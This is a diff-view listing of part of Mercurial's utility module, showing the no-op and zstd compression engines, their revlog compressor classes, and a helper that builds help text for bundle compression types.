3563 class nooprevlogcompressor(object):
3589 class nooprevlogcompressor(object):
3564 def compress(self, data):
3590 def compress(self, data):
3565 return None
3591 return None
3566
3592
3567 def revlogcompressor(self, opts=None):
3593 def revlogcompressor(self, opts=None):
3568 return self.nooprevlogcompressor()
3594 return self.nooprevlogcompressor()
3569
3595
3570 compengines.register(_noopengine())
3596 compengines.register(_noopengine())
3571
3597
3572 class _zstdengine(compressionengine):
3598 class _zstdengine(compressionengine):
3573 def name(self):
3599 def name(self):
3574 return 'zstd'
3600 return 'zstd'
3575
3601
3576 @propertycache
3602 @propertycache
3577 def _module(self):
3603 def _module(self):
3578 # Not all installs have the zstd module available. So defer importing
3604 # Not all installs have the zstd module available. So defer importing
3579 # until first access.
3605 # until first access.
3580 try:
3606 try:
3581 from . import zstd
3607 from . import zstd
3582 # Force delayed import.
3608 # Force delayed import.
3583 zstd.__version__
3609 zstd.__version__
3584 return zstd
3610 return zstd
3585 except ImportError:
3611 except ImportError:
3586 return None
3612 return None
3587
3613
3588 def available(self):
3614 def available(self):
3589 return bool(self._module)
3615 return bool(self._module)
3590
3616
3591 def bundletype(self):
3617 def bundletype(self):
3592 """A modern compression algorithm that is fast and highly flexible.
3618 """A modern compression algorithm that is fast and highly flexible.
3593
3619
3594 Only supported by Mercurial 4.1 and newer clients.
3620 Only supported by Mercurial 4.1 and newer clients.
3595
3621
3596 With the default settings, zstd compression is both faster and yields
3622 With the default settings, zstd compression is both faster and yields
3597 better compression than ``gzip``. It also frequently yields better
3623 better compression than ``gzip``. It also frequently yields better
3598 compression than ``bzip2`` while operating at much higher speeds.
3624 compression than ``bzip2`` while operating at much higher speeds.
3599
3625
3600 If this engine is available and backwards compatibility is not a
3626 If this engine is available and backwards compatibility is not a
3601 concern, it is likely the best available engine.
3627 concern, it is likely the best available engine.
3602 """
3628 """
3603 return 'zstd', 'ZS'
3629 return 'zstd', 'ZS'
3604
3630
3605 def wireprotosupport(self):
3631 def wireprotosupport(self):
3606 return compewireprotosupport('zstd', 50, 50)
3632 return compewireprotosupport('zstd', 50, 50)
3607
3633
3608 def revlogheader(self):
3634 def revlogheader(self):
3609 return '\x28'
3635 return '\x28'
3610
3636
3611 def compressstream(self, it, opts=None):
3637 def compressstream(self, it, opts=None):
3612 opts = opts or {}
3638 opts = opts or {}
3613 # zstd level 3 is almost always significantly faster than zlib
3639 # zstd level 3 is almost always significantly faster than zlib
3614 # while providing no worse compression. It strikes a good balance
3640 # while providing no worse compression. It strikes a good balance
3615 # between speed and compression.
3641 # between speed and compression.
3616 level = opts.get('level', 3)
3642 level = opts.get('level', 3)
3617
3643
3618 zstd = self._module
3644 zstd = self._module
3619 z = zstd.ZstdCompressor(level=level).compressobj()
3645 z = zstd.ZstdCompressor(level=level).compressobj()
3620 for chunk in it:
3646 for chunk in it:
3621 data = z.compress(chunk)
3647 data = z.compress(chunk)
3622 if data:
3648 if data:
3623 yield data
3649 yield data
3624
3650
3625 yield z.flush()
3651 yield z.flush()
3626
3652
3627 def decompressorreader(self, fh):
3653 def decompressorreader(self, fh):
3628 zstd = self._module
3654 zstd = self._module
3629 dctx = zstd.ZstdDecompressor()
3655 dctx = zstd.ZstdDecompressor()
3630 return chunkbuffer(dctx.read_from(fh))
3656 return chunkbuffer(dctx.read_from(fh))
3631
3657
3632 class zstdrevlogcompressor(object):
3658 class zstdrevlogcompressor(object):
3633 def __init__(self, zstd, level=3):
3659 def __init__(self, zstd, level=3):
3634 # Writing the content size adds a few bytes to the output. However,
3660 # Writing the content size adds a few bytes to the output. However,
3635 # it allows decompression to be more optimal since we can
3661 # it allows decompression to be more optimal since we can
3636 # pre-allocate a buffer to hold the result.
3662 # pre-allocate a buffer to hold the result.
3637 self._cctx = zstd.ZstdCompressor(level=level,
3663 self._cctx = zstd.ZstdCompressor(level=level,
3638 write_content_size=True)
3664 write_content_size=True)
3639 self._dctx = zstd.ZstdDecompressor()
3665 self._dctx = zstd.ZstdDecompressor()
3640 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3666 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3641 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3667 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3642
3668
3643 def compress(self, data):
3669 def compress(self, data):
3644 insize = len(data)
3670 insize = len(data)
3645 # Caller handles empty input case.
3671 # Caller handles empty input case.
3646 assert insize > 0
3672 assert insize > 0
3647
3673
3648 if insize < 50:
3674 if insize < 50:
3649 return None
3675 return None
3650
3676
3651 elif insize <= 1000000:
3677 elif insize <= 1000000:
3652 compressed = self._cctx.compress(data)
3678 compressed = self._cctx.compress(data)
3653 if len(compressed) < insize:
3679 if len(compressed) < insize:
3654 return compressed
3680 return compressed
3655 return None
3681 return None
3656 else:
3682 else:
3657 z = self._cctx.compressobj()
3683 z = self._cctx.compressobj()
3658 chunks = []
3684 chunks = []
3659 pos = 0
3685 pos = 0
3660 while pos < insize:
3686 while pos < insize:
3661 pos2 = pos + self._compinsize
3687 pos2 = pos + self._compinsize
3662 chunk = z.compress(data[pos:pos2])
3688 chunk = z.compress(data[pos:pos2])
3663 if chunk:
3689 if chunk:
3664 chunks.append(chunk)
3690 chunks.append(chunk)
3665 pos = pos2
3691 pos = pos2
3666 chunks.append(z.flush())
3692 chunks.append(z.flush())
3667
3693
3668 if sum(map(len, chunks)) < insize:
3694 if sum(map(len, chunks)) < insize:
3669 return ''.join(chunks)
3695 return ''.join(chunks)
3670 return None
3696 return None
3671
3697
3672 def decompress(self, data):
3698 def decompress(self, data):
3673 insize = len(data)
3699 insize = len(data)
3674
3700
3675 try:
3701 try:
3676 # This was measured to be faster than other streaming
3702 # This was measured to be faster than other streaming
3677 # decompressors.
3703 # decompressors.
3678 dobj = self._dctx.decompressobj()
3704 dobj = self._dctx.decompressobj()
3679 chunks = []
3705 chunks = []
3680 pos = 0
3706 pos = 0
3681 while pos < insize:
3707 while pos < insize:
3682 pos2 = pos + self._decompinsize
3708 pos2 = pos + self._decompinsize
3683 chunk = dobj.decompress(data[pos:pos2])
3709 chunk = dobj.decompress(data[pos:pos2])
3684 if chunk:
3710 if chunk:
3685 chunks.append(chunk)
3711 chunks.append(chunk)
3686 pos = pos2
3712 pos = pos2
3687 # Frame should be exhausted, so no finish() API.
3713 # Frame should be exhausted, so no finish() API.
3688
3714
3689 return ''.join(chunks)
3715 return ''.join(chunks)
3690 except Exception as e:
3716 except Exception as e:
3691 raise error.RevlogError(_('revlog decompress error: %s') %
3717 raise error.RevlogError(_('revlog decompress error: %s') %
3692 str(e))
3718 str(e))
3693
3719
3694 def revlogcompressor(self, opts=None):
3720 def revlogcompressor(self, opts=None):
3695 opts = opts or {}
3721 opts = opts or {}
3696 return self.zstdrevlogcompressor(self._module,
3722 return self.zstdrevlogcompressor(self._module,
3697 level=opts.get('level', 3))
3723 level=opts.get('level', 3))
3698
3724
3699 compengines.register(_zstdengine())
3725 compengines.register(_zstdengine())
3700
3726
3701 def bundlecompressiontopics():
3727 def bundlecompressiontopics():
3702 """Obtains a list of available bundle compressions for use in help."""
3728 """Obtains a list of available bundle compressions for use in help."""
3703 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3729 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3704 items = {}
3730 items = {}
3705
3731
3706 # We need to format the docstring. So use a dummy object/type to hold it
3732 # We need to format the docstring. So use a dummy object/type to hold it
3707 # rather than mutating the original.
3733 # rather than mutating the original.
3708 class docobject(object):
3734 class docobject(object):
3709 pass
3735 pass
3710
3736
3711 for name in compengines:
3737 for name in compengines:
3712 engine = compengines[name]
3738 engine = compengines[name]
3713
3739
3714 if not engine.available():
3740 if not engine.available():
3715 continue
3741 continue
3716
3742
3717 bt = engine.bundletype()
3743 bt = engine.bundletype()
3718 if not bt or not bt[0]:
3744 if not bt or not bt[0]:
3719 continue
3745 continue
3720
3746
3721 doc = pycompat.sysstr('``%s``\n %s') % (
3747 doc = pycompat.sysstr('``%s``\n %s') % (
3722 bt[0], engine.bundletype.__doc__)
3748 bt[0], engine.bundletype.__doc__)
3723
3749
3724 value = docobject()
3750 value = docobject()
3725 value.__doc__ = doc
3751 value.__doc__ = doc
3726
3752
3727 items[bt[0]] = value
3753 items[bt[0]] = value
3728
3754
3729 return items
3755 return items
3730
3756
3731 # convenient shortcut
3757 # convenient shortcut
3732 dst = debugstacktrace
3758 dst = debugstacktrace
General Comments 0
You need to be logged in to leave comments. Login now